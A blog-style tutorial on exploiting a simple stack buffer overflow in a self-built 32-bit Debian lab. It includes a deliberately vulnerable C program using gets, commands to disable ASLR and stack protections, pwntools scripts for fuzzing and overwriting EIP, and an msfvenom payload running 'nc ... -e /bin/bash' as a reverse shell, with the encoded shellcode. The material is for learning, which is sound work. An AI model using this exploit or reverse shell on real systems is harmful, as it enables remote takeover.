Recently I’ve been interested in binary exploitation and thought I would write a post about some of the information I’ve took in and in particular the use of tools I found really useful.

This post will cover the exploitation of a really simple buffer overflow in a simple c program with no protections enabled.

So, to start with lets consider the following simple c program:

https://hastebin.com/yocasoguhe.c

#include <stdio.h> #include <string.h> /* * My simple program will output your name back to you! */ int main(int argc, char* argv[]) { /* Names can't be bigger than 256 chars! */ char name[256]; /* ask the user to input their name */ printf("Please enter your name: "); gets(name); /* Output the name back to them */ printf("Hi %s

", name); return 0; }

The program asks the user for their name, and then outputs it back to them saying “Hi <name>”. The program is vulnerable to buffer overflow as the character buffer which holds the name is 256 bytes while the gets function will take as much input as the user throws at it.

If the user enters more than the character buffer can hold the extra content writes over the program stack.

Rather than try and write my own explanation of how this can be exploited I recommend the following post.

Lab Setup

The lab setup assumes you have virtual box (or similar) installed and a Kali linux installation already created. You will then create a linux system which can create vulnerable programs.

I chose Debian as its fairly small and easy to install. Create a new minimal installation 32bit Debian VM, enable SSH during installation and then install the following tools:

GCC – gnu c compiler – apt install gcc

Net tools (ifconfig, netstat, etc.) – various network utilities – apt install net-tools

GDB – gnu debugger – apt install gdb

GIT – git client – apt install git

peda – gdb scripts – install peda using https://github.com/longld/peda

After you’ve created your Debian VM and installed the required tools you need to disable the OS Address Space Layout Randomisation (ASLR) by using the following command:

echo 0 > /proc/sys/kernel/randomize_va_space

This will need to be done each time you restart the VM.

Ok, now you have a virtual machine you can use to run your vulnerable code on.

Now we will compile the vulnerable program above on the Debian vm. SCP or copy and paste the c program into a file on the Debian machine and compile it with the following flags to disable the compiler protections.

gcc -g -fno-stack-protector -z execstack -o vulnerable_simple vulnerable_simple.c

Exploitation

Ok so now we have our vulnerable binary sitting on our Debian virtual machine. At this point you should install python 3 if you don’t already have it on your host machine and get pwntools (https://github.com/Gallopsled/pwntools) using pip or whatever python package management tool you are using (e.g. pip install pwntools).

I’ve found that using pwntools greatly increases productivity when created buffer overflow exploits and this post will use it extensively.

Ok so now we are going to create a python script which will connect to the vulnerable VM using SSH and then assist with the exploitation from there. You will need the ip address of the vulnerable VM (ifconfig).

https://hastebin.com/tayacimavi.py

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash')

If the script runs without error then you have set everything up correctly, else debug issues until it works.

Now we will fuzz the program input to find where the crash occurs. The following script sends buffers containing incrementing length ‘AAAAAAA’ characters to the program until a segmentation fault occurs and then reports the length at which the crash occurred.

https://hastebin.com/adifatohoq.py

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash') # Find the point at which the program crashes for i in range(200, 500): bash.sendline('python -c "print \'A\'*' + str(i) + '" | ./vulnerable_simple') received = bash.recvline(timeout=0.03) # output from program received += bash.recvline(timeout=0.03) # Segmentation fault if crash else empty if 'Segmentation' in str(received): # For some reason when sent through pwntools the buffer to crash was 1 length longer than # it should have been? print('Crash at %d characters' % (i - 1)) print('Crash at value will be %s' % hex(i - 1)) break

Now that we know the program crashes after 256 characters we can start to debug the state of the program during the crash. I updated the script to open the program in gdb, run it and then send a cyclic buffer of size 256 as input. An interactive shell is then returned to the user for the gdb session on the remote Debian vm.

https://hastebin.com/fesitogefo.py

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash') crash_at = 0x100 # Start debugging the vulnerable binary bash.sendline('gdb vulnerable_simple') bash.sendline('run') # Send a cyclic string of known characters aaaa baaa caaa etc. bash.sendline(cyclic(crash_at)) # Hand an interactive shell back to the user bash.interactive()

As shown in the screenshot the EIP (instruction pointer) register at the crash was 0x61616178 which is ‘xaaa’, notice how the representation in hex is 0x61 0x61 0x61 0x78 or ‘aaax’, although the actual meaning is ‘xaaa’, this is due to x86 using little-endian representation. Also shown in the screen shot is the ESP (stack pointer) register being overwritten with the rest of the cyclic buffer! We now know we can overwrite the instruction pointer and the stack pointer.

To confirm this I changed my script to write up to the EIP register with A’s, write over the EIP with B’s and write over the ESP with C’s. To find how many bytes in the cyclic buffer ‘xaaa’ occurs we can use the pwntools cyclic_find function as shown in the script below.

https://hastebin.com/orusufunon.py

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash') crash_at = 256 eip_crash = 0x61616178 eip_crash_buffer = cyclic_find(eip_crash) # Create a test payload which writes up to the EIP with A's, writes over the EIP with B's and then writes C's payload = 'A' * eip_crash_buffer + ('B' * 4) + ('C' * (crash_at - eip_crash_buffer - 4)) # Send the payload bash.sendline('gdb vulnerable_simple') bash.sendline('run') bash.sendline(payload) # Hand an interactive shell back to the user bash.interactive()

The screenshot above proves that the EIP was overwritten with BBBB and the ESP with repeating C’s!

Ok so now as we have a non ASLR protected, stack executable binary which we can overwrite the EIP and ESP registers the plan of attack is to point the EIP to the ESP location and finally write our shell code (https://en.wikipedia.org/wiki/Shellcode) into ESP. This will cause the program to reach the instruction pointer, which tells the program to execute the code in ESP.

Note from the screenshot above the ESP address is:

0xbffff600

This is the address we need to insert into the EIP register.

Ok so our payload is approximately going to look like this:

(padding_to_reach_eip_overwrite) + (esp_address) + (shell_code)

To generate a payload open your Kali linux and use msfvenom (with the IP address of your host machine, or with any other shell command you might want to run). Note the b option indicates bad characters which the exploit cannot use, I could write another article on finding these bad characters but I’m not that confident yet as I’m still basically using trial and error, in this case the bad characters contain nullbytes, ^C and other various characters which caused issues with the exploit.

msfvenom -p linux/x86/exec CMD='nc 192.168.0.7 9000 -e /bin/bash' -b "\x00\x0A\x0D\x1A\x03\x1C" -f raw | base64 -w 0

This will output a base64 string which we can decode and insert into our payload.

The final exploit script looked like this:

https://hastebin.com/ekudomunic.py

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash') crash_at = 256 eip_crash = 0x61616178 eip_crash_buffer = cyclic_find(eip_crash) esp_location = p32(0xbffff600) # Shellcode buffer # msfvenom -p linux/x86/exec CMD='nc 192.168.0.7 9000 -e /bin/bash' -b "\x00\x0A\x0D\x1A\x03\x1C" -f raw | base64 -w 0 buf = base64.b64decode('KcmD6e/o/////8BegXYO2J1B0oPu/OL0spYZS4r7Kf+7FKa69+4p0rCyI7u2FKKAMLxB0tjzI' 'vLppHP86at5/OizdvLhrXHi+LAk8vf/KLz3/yChsJ0WgVF8jFI=') nop_sled = asm('nop') * (crash_at - eip_crash_buffer - len(esp_location) - len(buf)) payload = b'A' * eip_crash_buffer + esp_location + nop_sled + buf # Send the payload bash.sendline('gdb vulnerable_simple') bash.sendline('run') bash.sendline(payload) # Hand an interactive shell back to the user bash.interactive()

Couple of this to note in this script:

the pwntools p32 function packs the ESP address into a signed/endian aware hex string so you don’t have to work this out yourself – http://docs.pwntools.com/en/stable/util/packing.html

the pwntools asm function can work out the hex for any assembly instruction, in this case I’ve used it to build a NOP sled (https://en.wikipedia.org/wiki/NOP_slide) before our shell code

Finally before I ran the final exploit I started a reverse shell listener with netcat on my host machine using:

nc -lvn 9000

After running the exploit script I ran ‘id’ on my reverse listener to find the exploit worked as expected.

I know I barely touched on a lot of the theory behind buffer overflows and exploitation so I’m going to provide the links I used during my learning here:

https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

https://scriptdotsh.com/index.php/2018/05/14/getting-started-with-linux-buffer-overflows-part-1-introduction/

Hopefully this was useful.